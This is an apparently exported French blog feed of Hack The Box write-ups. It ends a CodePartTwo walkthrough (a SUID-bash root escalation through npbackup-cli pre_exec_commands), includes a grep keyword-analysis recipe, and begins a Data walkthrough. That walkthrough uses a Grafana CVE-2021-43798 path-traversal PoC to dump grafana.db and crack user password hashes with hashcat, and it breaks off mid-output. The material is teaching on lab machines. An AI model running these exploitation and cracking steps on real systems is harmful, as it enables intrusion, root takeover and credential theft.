secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User marco may run the following commands on codeparttwo: (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli La sortie indique que l’utilisateur marco peut exécuter : (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli Le programme npbackup-cli peut donc être exécuté en root, ce qui en fait une piste prioritaire pour l’escalade de privilèges. Identification des éléments liés à npbackup En listant le contenu du répertoire personnel, on observe également la présence d’un fichier de configuration : ls -l -rw-rw-r-- 1 root root 2893 Jun 18 2025 npbackup.conf On dispose donc de deux informations importantes : un programme npbackup-cli exécutable en root un fichier de configuration npbackup.conf L’analyse va se concentrer sur ces deux éléments en appliquant la méthode décrite dans la recette « Analyser rapidement un fichier texte, une sortie --help ou un fichier de configuration par mots-clés » :. Analyse du --help de npbackup-cli Parmi toutes les commandes testées dans la recette, celle portant sur les notions de Fichiers et chemins est particulièrement intéressante. npbackup-cli --help | grep -Ein \u0026#39;config|conf|file|path|dir|directory|folder|source|destination|target|output|tmp|temp\u0026#39; Plusieurs options liées à la configuration ressortent : -c CONFIG_FILE, --config-file CONFIG_FILE --check-config-file --config-file permet de charger une configuration personnalisée --check-config-file permet de valider une configuration Le programme repose sur un fichier de configuration et te permet d’en fournir un personnalisé. Tu peux donc contrôler son comportement, ce qui constitue une piste intéressante pour l’escalade de privilèges. Analyse du fichier npbackup.conf Parmi toutes les commandes testées, celle portant sur les notions de backup et d’automatisation permet de faire ressortir les paramètres les plus intéressants : grep -Ein \u0026#39;backup|restore|snapshot|archive|tar|rsync|hook|pre|post|cron|task|job|exec\u0026#39; npbackup.conf La sortie met notamment en évidence : pre_exec_commands: [] post_exec_commands: [] Ces paramètres permettent d’exécuter des commandes avant ou après la sauvegarde. Comme tu peux fournir ton propre fichier de configuration et que npbackup-cli s’exécute avec les privilèges root, tu peux contrôler ces commandes, ce qui ouvre la voie à l’escalade de privilèges. Mise en place de l’exploitation Commence par vérifier que le fichier de configuration existant est valide : sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --check-config-file La sortie confirme que la configuration est correctement chargée et valide : Loaded config ... in /home/marco/npbackup.conf Config file seems valid state is: success Tu peux donc te baser sur ce fichier fonctionnel pour construire notre configuration, en modifiant uniquement les paramètres nécessaires à l’exploitation. Choix du répertoire de travail Tu remarqueras assez rapidement que le répertoire /home/marco est régulièrement nettoyé et reconstitué. Les répertoires de travail classiques comme /tmp et /dev/shm sont également soumis à des mécanismes de nettoyage. Il est nécessaire de trouver un répertoire accessible en écriture par l’utilisateur marco et non soumis à un mécanisme de nettoyage. On peut rechercher les répertoires accessibles en écriture avec la commande suivante : find / -type d -writable 2\u0026gt;/dev/null Parmi les résultats, le répertoire /var/tmp attire l’attention. Contrairement à /home/marco, /tmp et /dev/shm, il n’est pas soumis au mécanisme de nettoyage observé précédemment. Si tu veux, tu peux également le vérifier en y créant un fichier et en observant qu’il n’est pas supprimé. On utilise donc /var/tmp comme répertoire de travail pour la suite de l’exploitation. Choix de la stratégie La première étape consiste à copier le fichier de configuration dans notre répertoire de travail : cp /home/marco/npbackup.conf /var/tmp/root.conf La stratégie consiste ensuite à exploiter le paramètre pre_exec_commands de notre copie du fichier de configuration. Ce paramètre permet d’exécuter des commandes avant le lancement du backup. Comme npbackup-cli est exécuté avec les privilèges root, ces commandes seront elles aussi exécutées en root. L’objectif est donc d’y injecter les commandes nécessaires pour obtenir un accès privilégié. Les commandes utilisées sont : copie du binaire /bin/bash dans /var/tmp application du bit SUID avec chmod +s Cela permet d’obtenir un binaire exécutable avec les privilèges root. Note : Il aurait également été possible d’utiliser un reverse shell, mais la création d’un binaire SUID est plus simple et plus directe dans ce contexte. Exécution de l’exploit On commence par modifier notre fichier de configuration /var/tmp/root.conf en ajoutant les commandes dans pre_exec_commands : nano /var/tmp/root.conf et d\u0026rsquo;y ajouter les commandes pre_exec_commands: - cp /bin/bash /var/tmp/rootbash - chmod +s /var/tmp/rootbash note : il faut indenter avec des espaces sinon le fichier ne sera pas valide Une fois le fichier modifié, on vérifie qu’il est valide : sudo /usr/local/bin/npbackup-cli -c /var/tmp/root.conf --check-config-file 2026-03-18 16:30:49,302 :: INFO :: Config file seems valid 2026-03-18 16:30:49,307 :: INFO :: ExecTime = 0:00:00.030375, finished, state is: success. La sortie confirme que la configuration est correctement chargée. On peut alors lancer le backup : sudo /usr/local/bin/npbackup-cli -c /var/tmp/root.conf --backup La commande génère plusieurs erreurs liées à la configuration du backup, mais cela n’empêche pas l’exécution des commandes définies dans pre_exec_commands. On observe notamment : Pre-execution of command cp /bin/bash /var/tmp/rootbash succeeded Pre-execution of command chmod +s /var/tmp/rootbash succeeded Les commandes sont exécutées avant le processus de backup. Ainsi, même si le backup échoue ensuite, le binaire SUID est bien créé et exécutable avec les privilèges root. Obtention du shell root Il ne reste plus qu’à exécuter le binaire : /var/tmp/rootbash -p Puis vérifier les privilèges : rootbash-5.0# id uid=1000(marco) gid=1000(marco) euid=0(root) egid=0(root) groups=0(root),1000(marco),1003(backups) Tu obtiens ainsi un shell en tant que root, ce qui marque la fin de l’escalade de privilèges et du challenge. cat /root/root.txt 3660xxxxxxxxxxxxxxxxxxxxxxxxda3b Conclusion Ce challenge CodePartTwo HTB Easy te fait parcourir une chaîne d’exploitation complète, depuis l’exécution de code dans une sandbox JavaScript jusqu’à l’obtention d’un accès root. Tu as vu qu’une simple fonctionnalité applicative mal sécurisée peut conduire à une compromission totale, surtout lorsqu’elle est combinée à une mauvaise configuration côté système. Comme dans tout CTF Hack The Box, la progression repose sur une méthodologie simple et efficace : énumération → exploitation → escalade de privilèges. En identifiant les points d’entrée, en testant le comportement de l’application, puis en analysant les mécanismes exécutés avec des privilèges élevés, tu arrives progressivement à un contrôle complet de la machine. Ce type de chaîne d’exploitation est typique des machines HTB Easy orientées Web et constitue un excellent entraînement pour progresser en CTF. i Feedback \u0026amp; corrections Tu as repéré une erreur, une imprécision ou une amélioration possible ? N’hésite pas à me le signaler. ","date":"2026-03-30T09:18:59+01:00","lastmod":"2026-03-30T20:15:22+02:00","permalink":"https://writeups.hackethical.be/writeups/codeparttwo/","summary":"CodePartTwo (HTB Easy) : sandbox js2py, récupération d’identifiants, accès SSH et escalade via npbackup.","tags":["HTB Easy","Web","js2py","sandbox","CVE-2024-28397","Flask","SQLite","SSH","sudo","backup"],"title":"CodePartTwo — HTB Easy Writeup \u0026 Walkthrough"},{"categories":["Mes recettes"],"content":"Objectif Identifier rapidement les éléments intéressants dans un fichier texte, une sortie --help d\u0026rsquo;une commande ou un fichier de configuration .conf. Repérer des indices utiles : chemins, scripts, points d’entrée dans l’exécution (hooks), privilèges et identifiants. Orienter efficacement ton analyse sans parcourir tout le contenu à l’aveugle. Prérequis Environnement Linux (Kali, Ubuntu, etc.) Commande grep Accès à un fichier texte, une sortie --help d\u0026rsquo;une commande ou un fichier de configuration à analyser Étapes Préparer Dans un CTF, tu récupères souvent : la sortie --help d’une commande un fichier de configuration (.conf, .ini, .yaml, etc.) un script ou un fichier texte technique Ces contenus peuvent être longs et difficiles à analyser rapidement. Plutôt que de tout lire ligne par ligne, tu peux utiliser une approche simple : rechercher des mots-clés ciblés pour faire ressortir les éléments importants. Lors de l’analyse d’un fichier, une lecture brute devient vite longue et inefficace. L’utilisation de mots-clés permet de cibler directement les informations utiles. Dans un contexte CTF Hack The Box, ces recherches correspondent aux principaux vecteurs d’exploitation : exécution de commandes élévation de privilèges (sudo, root, SUID) chemins de fichiers exploitables mécanismes automatisés et points d’entrée dans l’exécution (cron, hooks, scripts de backup) L’objectif est de gagner du temps et de faire émerger rapidement des pistes d’exploitation. Utiliser Remplace simplement fichier.txt par le fichier que tu analyses. Exécution de commandes : grep -Ein \u0026#39;exec|execute|run|command|cmd|script|bash|sh|system\u0026#39; fichier.txt Permissions et root : grep -Ein \u0026#39;sudo|root|permission|owner|chmod|chown|suid|uid|gid\u0026#39; fichier.txt Fichiers et chemins : grep -Ein \u0026#39;config|conf|file|path|dir|directory|folder|source|destination|target|output|tmp|temp\u0026#39; fichier.txt Backup et automatisation : grep -Ein \u0026#39;backup|restore|snapshot|archive|tar|rsync|hook|pre|post|cron|task|job|exec\u0026#39; fichier.txt Tu peux ensuite adapter ces recherches selon le type de fichier à analyser : Sur une sortie --help d\u0026rsquo;une commande commande --help 2\u0026gt;\u0026amp;1 | grep -Ein \u0026#39;...\u0026#39; Sur un binaire strings binaire | grep -Ein \u0026#39;...\u0026#39; Ajouter du contexte (recommandé) grep -Ein -C 2 \u0026#39;...\u0026#39; fichier.txt Personnaliser la recherche grep -Ein \u0026#39;exec|script|hook|command|pre|post\u0026#39; fichier.txt Résultat Tu identifies rapidement les éléments importants sans lire tout le fichier. Tu repères facilement : les chemins et fichiers utilisés les scripts ou commandes exécutées les points d’entrée dans l’exécution (hooks) et les tâches automatiques le contexte d’exécution (user, root) les identifiants (mots de passe, tokens, clés) Tu peux ensuite concentrer ton analyse uniquement sur les parties pertinentes. Cette méthode te fait gagner du temps et t’aide à faire émerger rapidement des pistes d’exploitation. Cette méthode est utilisée dans plusieurs writeups pour analyser rapidement des fichiers texte, des fichiers de configuration ou des sorties de commandes. ","date":"2026-03-23T08:28:14+01:00","lastmod":"2026-03-23T09:49:31+01:00","permalink":"https://writeups.hackethical.be/recettes/analyse-mots-cles/","summary":"Objectif Identifier rapidement les éléments intéressants dans un fichier texte, une sortie --help d\u0026rsquo;une commande ou un fichier de configuration .conf. Repérer des indices utiles : chemins, scripts, points d’entrée dans l’exécution (hooks), privilèges et identifiants. Orienter efficacement ton analyse sans parcourir tout le contenu à l’aveugle. Prérequis Environnement Linux (Kali, Ubuntu, etc.) Commande grep Accès à un fichier texte, une sortie --help d\u0026rsquo;une commande ou un fichier de configuration à analyser Étapes Préparer Dans un CTF, tu récupères souvent :\n","tags":["recettes","analysis","grep","ctf","enumeration"],"title":"Analyser rapidement un fichier texte, une sortie --help ou un fichier de configuration par mots-clés"},{"categories":["Mes writeups"],"content":" Introduction Dans ce writeup, tu vas résoudre la machine Data sur Hack The Box (difficulté Easy) à travers une exploitation centrée sur Grafana. On avance étape par étape : énumération, exploitation de la vulnérabilité, récupération d’identifiants, puis escalade via Docker. L’objectif n’est pas de lancer un exploit à l’aveugle, mais de comprendre chaque étape afin de pouvoir réutiliser la méthode sur d’autres machines. Ce que tu vas faire : Identifier la surface exposée (SSH + Grafana). Exploiter Grafana (CVE-2021-43798) pour récupérer grafana.db. Craquer le hash et réutiliser les identifiants en SSH. Escalader via sudo docker exec jusqu’au root de l’hôte. Cette machine repose sur une vulnérabilité Grafana (CVE-2021-43798) permettant de récupérer la base grafana.db. Les identifiants extrais sont ensuite réutilisés en SSH, puis une mauvaise configuration Docker permet d’obtenir un accès root. Énumération Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète. C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables. Concrètement, l’objectif de cette phase d’énumération est d’identifier : quels ports sont ouverts quels services sont accessibles si une application web est présente quels répertoires sont exposés si des sous-domaines ou vhosts peuvent être exploités Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants : mon-nmap : identifie les ports ouverts et les services en écoute mon-recoweb : énumère les répertoires et fichiers accessibles via le service web mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts Tu retrouves ces outils dans la section Outils / Mes scripts. Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist. Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans : /usr/share/wordlists/htb-dns-vh-5000.txt Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box. Avant de lancer les scans, vérifie que le nom d’hôte data.htb résout correctement vers l’adresse IP de la cible. Sur HTB, cela passe généralement par une entrée dans /etc/hosts. Ajoute l’entrée 10.129.x.x data.htb dans /etc/hosts. sudo nano /etc/hosts Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés : mon-nmap data.htb # Résultats dans le répertoire scans_nmap/ # - scans_nmap/full_tcp_scan.txt # - scans_nmap/enum_ftp_smb_scan.txt # - scans_nmap/aggressive_vuln_scan.txt # - scans_nmap/cms_vuln_scan.txt # - scans_nmap/udp_vuln_scan.txt Scan initial Le scan TCP complet (scans_nmap/full_tcp_scan.txt) permet d’identifier les ports ouverts suivants : Note : les IP et timestamps peuvent varier selon les resets HTB ; l’important ici est la surface exposée. # Nmap 7.98 scan initiated Fri Jan 23 16:09:05 2026 as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt data.htb Nmap scan report for data.htb (10.129.x.x) Host is up (0.045s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 3000/tcp open ppp # Nmap done at Fri Jan 23 16:09:14 2026 -- 1 IP address (1 host up) scanned in 8.58 seconds Scan agressif Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités, ce qui te permet de repérer rapidement les services à examiner en priorité. Les résultats de cette énumération sont enregistrés dans le fichier scans_nmap/enum_ftp_smb_scan.txt : [+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour data.htb [+] Commande utilisée : nmap -Pn -A -sV -p\u0026#34;22,3000\u0026#34; --script=\u0026#34;(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)\u0026#34; --script-timeout=30s -T4 \u0026#34;data.htb\u0026#34; # Nmap 7.98 scan initiated Fri Jan 23 16:09:14 2026 as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,3000 \u0026#34;--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)\u0026#34; --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan_raw.txt data.htb Nmap scan report for data.htb (10.129.x.x) Host is up (0.015s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 3000/tcp open http Grafana http |_http-trane-info: Problem with XML parsing of /evox/about | http-vuln-cve2010-0738: |_ /jmx-console/: Authentication was not required Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 54.81 ms 10.10.x.x 2 7.22 ms data.htb (10.129.x.x) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jan 23 16:09:26 2026 -- 1 IP address (1 host up) scanned in 11.57 seconds Scan ciblé CMS Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt). # Nmap 7.98 scan initiated Fri Jan 23 16:09:26 2026 as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,3000 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt data.htb Nmap scan report for data.htb (10.129.x.x) Host is up (0.015s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 3000/tcp open http Grafana http |_http-config-backup: ERROR: Script execution failed (use -d to debug) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-robots.txt: 1 disallowed entry |_/ | http-title: Grafana |_Requested resource was /login |_http-trane-info: Problem with XML parsing of /evox/about | http-headers: | Cache-Control: no-cache | Content-Type: text/html; charset=UTF-8 | Expires: -1 | Pragma: no-cache | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 23 Jan 2026 15:09:22 GMT | Connection: close | |_ (Request type: HEAD) |_http-devframework: Couldn\u0026#39;t determine the underlying framework or CMS. Try increasing \u0026#39;httpspider.maxpagecount\u0026#39; value to spider more pages. | http-sitemap-generator: | Directory structure: | / | Other: 1 | /public/build/ | css: 1; js: 3 | /public/fonts/roboto/ | woff2: 1 | /public/img/ | png: 2; svg: 1 | Longest directory structure: | Depth: 3 | Dir: /public/fonts/roboto/ | Total files found (by extension): |_ Other: 1; css: 1; js: 3; png: 2; svg: 1; woff2: 1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jan 23 16:10:03 2026 -- 1 IP address (1 host up) scanned in 37.33 seconds Scan UDP rapide Le scan UDP rapide (scans_nmap/udp_vuln_scan.txt). # Nmap 7.98 scan initiated Fri Jan 23 16:10:03 2026 as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt data.htb Nmap scan report for data.htb (10.129.x.x) Host is up (0.013s latency). PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp closed ntp 135/udp open|filtered msrpc 137/udp open|filtered netbios-ns 138/udp closed netbios-dgm 139/udp open|filtered netbios-ssn 161/udp open|filtered snmp 162/udp closed snmptrap 445/udp open|filtered microsoft-ds 500/udp closed isakmp 514/udp closed syslog 520/udp closed route 631/udp open|filtered ipp 1434/udp open|filtered ms-sql-m 1900/udp closed upnp 4500/udp closed nat-t-ike 49152/udp closed unknown # Nmap done at Fri Jan 23 16:10:12 2026 -- 1 IP address (1 host up) scanned in 8.48 seconds Énumération des chemins web Pour la partie découverte de chemins web, tu peux utiliser le script dédié mon-recoweb mon-recoweb data.htb # Résultats dans le répertoire scans_recoweb/ # - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes # - scans_recoweb/dirb.log # - scans_recoweb/dirb_hits.txt # - scans_recoweb/ffuf_dirs.txt # - scans_recoweb/ffuf_dirs_hits.txt # - scans_recoweb/ffuf_files.txt # - scans_recoweb/ffuf_files_hits.txt # - scans_recoweb/ffuf_dirs.json # - scans_recoweb/ffuf_files.json Le fichier RESULTS_SUMMARY.txt te permet d’identifier rapidement les chemins intéressants sans parcourir tous les logs. $ mon-recoweb data.htb Script: mon-recoweb v2.1.0 [*] Test d\u0026#39;accessibilité de la cible [!] Aucune réponse TCP immédiate depuis data.htb. [!] L\u0026#39;IP de data.htb est peut être incorrecte (reset HTB ?). [!] Vérifie l\u0026#39;IP dans l\u0026#39;interface HTB [!] et /etc/hosts si tu utilises un nom de domaine. [!] Arrêt du script. Ici, mon-recoweb ne renvoie aucun résultat car le script vérifie d’abord la présence de services HTTP/HTTPS sur les ports 80 et 443. Or, la machine n’expose son interface web que sur le port 3000 (Grafana). Dans ce cas, inutile d’insister sur du brute-force : la priorité est plutôt d’identifier la version de Grafana et les vulnérabilités associées. Recherche de vhosts Enfin, tu peux tester la présence de vhosts à l’aide du script mon-subdomains . mon-subdomains data.htb # Résultats dans le répertoire scans_subdomains/ # - scans_subdomains/scan_vhosts.txt Même si aucun vhost n’est détecté, ce fichier permet de confirmer que le fuzzing n’a rien révélé d’exploitable. ┌──(kali㉿kali)-[/mnt/kvm-md0/HTB/data] └─$ mon-subdomains data.htb [✓] Domaine : data.htb [✓] Fichier de résultats : scans_subdomains/scan_vhosts.txt [✓] Mode : LARGE (wordlist: /tmp/mon-subdomains_data.htb_wl.rg94Kr) [*] Master : /usr/share/wordlists/htb-dns-vh-5000.txt [✓] IP détectée : 10.129.x.x [!] Aucune réponse TCP depuis data.htb sur les ports 80 et 443. [!] L\u0026#39;IP de data.htb est peut-être incorrecte (reset HTB ?). [!] Vérifie /etc/hosts si tu utilises un nom de domaine. [!] Le service HTTP est peut-être exposé sur un autre port (ex: 8080). [!] Si c\u0026#39;est le cas tu peux continuer le scan. Continuer quand même le scan ? [o/N] o [*] Poursuite du scan malgré l\u0026#39;absence de réponse TCP (80/443). [*] Nmap : détection des services web (HTTP/HTTPS) ... ===== Résultats mon-subdomains (data.htb) ===== === mon-subdomains data.htb START === Script : mon-subdomains Version : mon-subdomains 2.0.0 Date : 2026-01-23 18:06:54 Domaine : data.htb IP : 10.129.x.x Mode : large Master : /usr/share/wordlists/htb-dns-vh-5000.txt Codes : 200,301,302,401,403 (strict=1) VHOST totaux : 0 - (aucun) Même en l’absence de réponse sur les ports HTTP standards (80 et 443), le scan des sous-domaines et des virtual hosts est exécuté jusqu’au bout avec mon-subdomains. Cela permet de vérifier explicitement qu’aucun accès web alternatif n’a été oublié. Le résultat est clair : aucun vhost ni sous-domaine exploitable n’est détecté. La surface d’attaque reste donc limitée au service Grafana exposé sur le port 3000. Prise pied Lorsque tu accèdes à l’interface web Grafana sur le port 3000, la page de connexion s’affiche et permet de confirmer la version Grafana v8.0.0 exposée par la machine. En analysant les scans réalisés lors de la phase d’énumération, tu constates qu’un seul service mérite une attention particulière : Grafana v8.0.0, accessible sur le port 3000. Cette application devient donc la surface d’attaque principale pour la suite de l’exploitation. Tu poursuis l’analyse par une recherche de vulnérabilités connues affectant Grafana v8.0.0, ce qui met rapidement en évidence la vulnérabilité critique CVE-2021-43798. Tu identifies ensuite un PoC public pour CVE-2021-43798 (path traversal Grafana 8.x). Tu peux t’appuyer sur le dépôt de taythebot, qui documente clairement les options de dump de la base SQLite. Méthode employée L’exploitation repose sur une succession d’étapes logiques et progressives, telles qu’on les rencontre fréquemment dans les machines CTF utilisant Grafana : Identification du service exposé Tu identifies le service web accessible comme étant Grafana, et tu constates que la version déployée est vulnérable à la CVE-2021-43798. Exploitation de la vulnérabilité de path traversal Cette vulnérabilité permet une lecture arbitraire de fichiers sur le système cible via un mécanisme de path traversal, en contournant les restrictions applicatives mises en place par Grafana. Accès à la base interne Grafana Tu exploites ensuite cette capacité de lecture pour accéder au fichier grafana.db, base SQLite interne de Grafana, utilisée pour stocker les données applicatives et les comptes utilisateurs. Extraction et exploitation des informations sensibles L’analyse de la base SQLite permet d’extraire les hashes de mots de passe des utilisateurs Grafana. Ces hashes sont ensuite attaqués hors ligne afin d’obtenir des identifiants réutilisables, qui serviront de point d’entrée pour la suite de l’exploitation. grafana.db L’exploitation se déroule ensuite selon les étapes techniques suivantes : Récupération du proof-of-concept Le proof-of-concept associé à la vulnérabilité CVE-2021-43798 est récupéré depuis le dépôt GitHub de référence. L’exploit est implémenté en langage Go et fourni sous la forme d’un fichier exploit.go, conçu pour automatiser l’exploitation du path traversal et la lecture de fichiers arbitraires sur une instance Grafana vulnérable. Commande générique pour dumper la base SQLite : go run exploit.go -target \u0026lt;target\u0026gt; -dump-database ​ Exécution de l’exploit L’exploit est ensuite exécuté conformément aux indications du README du dépôt GitHub, à l’aide de go run, afin de dumper la base de données SQLite de l’instance Grafana cible. go run exploit.go -target http://data.htb:3000 -dump-database -output grafana.db CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth) Made by Tay (https://github.com/taythebot) [INFO] Exploiting target http://data.htb:3000 [INFO] Successfully exploited target http://data.htb:3000 SQLite format ... [...] [INFO] Succesfully saved output to file grafana.db Note Si l’exécution de go run échoue, cela signifie que le langage Go n’est pas installé sur le système. Il suffit alors d’installer Go via le gestionnaire de paquets avant de relancer l’exploit. sudo apt update \u0026amp;\u0026amp; sudo apt install -y golang-go Vérification après installation : go version go version go1.24.9 linux/amd64 La base grafana.db constitue ensuite le point de départ de l’analyse post-exploitation, dédiée à l’identification des comptes utilisateurs et à l’extraction des hashes de mots de passe. Exploitation des mots de passe Grafana Tu analyses la table user de la base grafana.db à l’aide de l’outil sqlite3 afin d’extraire les champs password et salt. Ces hashes Grafana sont ensuite convertis avec grafana2hashcat, puis attaqués hors-ligne à l’aide de hashcat pour tenter d’obtenir les mots de passe en clair. Voici la chaîne complète de commandes, depuis le fichier grafana.db jusqu’aux mots de passe en clair, dans un enchaînement logique et reproductible. Ouvre la base SQLite et identifie la table user sqlite3 grafana.db SQLite version 3.46.1 2024-08-13 09:16:08 Enter \u0026#34;.help\u0026#34; for usage hints. sqlite\u0026gt; .tables alert login_attempt alert_configuration migration_log alert_instance org alert_notification org_user alert_notification_state playlist alert_rule playlist_item alert_rule_tag plugin_setting alert_rule_version preferences annotation quota annotation_tag server_lock api_key session cache_data short_url dashboard star dashboard_acl tag dashboard_provisioning team dashboard_snapshot team_member dashboard_tag temp_user dashboard_version test_data data_source user library_element user_auth library_element_connection user_auth_token sqlite\u0026gt; .schema user CREATE TABLE `user` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL , `version` INTEGER NOT NULL , `login` TEXT NOT NULL , `email` TEXT NOT NULL , `name` TEXT NULL , `password` TEXT NULL , `salt` TEXT NULL , `rands` TEXT NULL , `company` TEXT NULL , `org_id` INTEGER NOT NULL , `is_admin` INTEGER NOT NULL , `email_verified` INTEGER NULL , `theme` TEXT NULL , `created` DATETIME NOT NULL , `updated` DATETIME NOT NULL , `help_flags1` INTEGER NOT NULL DEFAULT 0, `last_seen_at` DATETIME NULL, `is_disabled` INTEGER NOT NULL DEFAULT 0); CREATE UNIQUE INDEX `UQE_user_login` ON `user` (`login`); CREATE UNIQUE INDEX `UQE_user_email` ON `user` (`email`); CREATE INDEX `IDX_user_login_email` ON `user` (`login`,`email`); sqlite\u0026gt; Extrais les hashes et les salts depuis la table user Extraction minimale (hash + salt) : sqlite3 grafana.db \\ \u0026#34;select password || \u0026#39;,\u0026#39; || salt from user;\u0026#34; \u0026gt; grafana_hashes.txt Vérification rapide : head grafana_hashes.txt 7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl Télécharge grafana2hashcat.py Depuis ton répertoire de travail, télécharge le script : wget https://raw.githubusercontent.com/iamaldi/grafana2hashcat/main/grafana2hashcat.py Convertis les hashes Grafana au format hashcat À l’aide de grafana2hashcat : python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt [+] Grafana2Hashcat [+] Reading Grafana hashes from: grafana_hashes.txt [+] Done! Read 2 hashes in total. [+] Converting hashes... [+] Converting hashes complete. [+] Writing output to \u0026#39;hashcat_hashes.txt\u0026#39; file. [+] Now, you can run Hashcat with the following command, for example: hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt Contrôle du format obtenu : head hashcat_hashes.txt sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg= sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag= (attendu : sha256:10000:\u0026lt;salt_b64\u0026gt;:\u0026lt;hash_b64\u0026gt;) Associe chaque hash à son utilisateur Grafana Afin de conserver une correspondance explicite entre chaque hash et son utilisateur, extrais séparément les logins depuis la table user, puis associe-les aux hashes convertis dans le même ordre. sqlite3 -noheader -separator \u0026#39;|\u0026#39; grafana.db \\ \u0026#34;select login, password, salt from user order by id;\u0026#34; \u0026gt; users_pw_salt.txt paste -d\u0026#39; \u0026#39; \\ \u0026lt;(cut -d\u0026#39;|\u0026#39; -f1 users_pw_salt.txt | sed \u0026#39;s/^/# user: /\u0026#39;) \\ hashcat_hashes.txt \\ \u0026gt; hashes_with_users.txt Contrôle du format obtenu : cat hashes_with_users.txt # user: admin sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg= # user: boris sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag= Ce fichier te permettra de visualiser directement quel hash correspond à quel compte Grafana, sans interférer avec l’exécution de hashcat. Lance l’attaque hors-ligne avec hashcat Avec la wordlist rockyou : hashcat -m 10900 hashcat_hashes.txt /usr/share/wordlists/rockyou.txt hashcat (v7.1.2) starting OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i5-12600K, 6975/13950 MB (2048 MB allocatable), 4MCU /home/kali/.local/share/hashcat/hashcat.dictstat2: Outdated header version, ignoring content Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Minimum salt length supported by kernel: 0 Maximum salt length supported by kernel: 256 Hashes: 2 digests; 2 unique digests, 2 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Slow-Hash-SIMD-LOOP Watchdog: Temperature abort trigger set to 90c INFO: Removed hash found as potfile entry. Host memory allocated for this attack: 513 MB (13946 MB free) Dictionary cache built: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344392 * Bytes.....: 